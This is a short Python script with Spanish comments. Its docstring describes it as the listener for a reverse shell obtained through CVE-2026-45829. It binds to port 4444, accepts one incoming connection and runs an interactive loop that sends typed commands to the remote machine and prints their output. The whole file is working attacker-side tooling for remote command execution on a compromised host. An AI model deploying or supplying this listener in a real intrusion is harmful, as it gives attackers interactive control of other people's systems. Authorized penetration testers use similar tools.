#!/usr/bin/env python3
"""
Listener para reverse shell de CVE-2026-45829
"""

import socket
import threading
import sys

def start_listener(host='0.0.0.0', port=4444):
    """Inicia un listener para recibir la reverse shell"""
    
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(1)
    
    print(f"[*] Escuchando en {host}:{port}")
    print("[*] Esperando conexión...")
    
    client, addr = server.accept()
    print(f"[+] Conexión recibida de {addr[0]}:{addr[1]}")
    print("[*] Shell interactiva obtenida. Escribe 'exit' para salir.\n")
    
    while True:
        try:
            cmd = input(f"shell@{addr[0]}> ")
            if cmd.lower() == 'exit':
                client.send(b'exit\n')
                break
            client.send(cmd.encode() + b'\n')
            response = client.recv(4096).decode()
            print(response)
        except:
            break
    
    client.close()
    server.close()

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('--port', type=int, default=4444)
    args = parser.parse_args()
    
    start_listener(port=args.port)
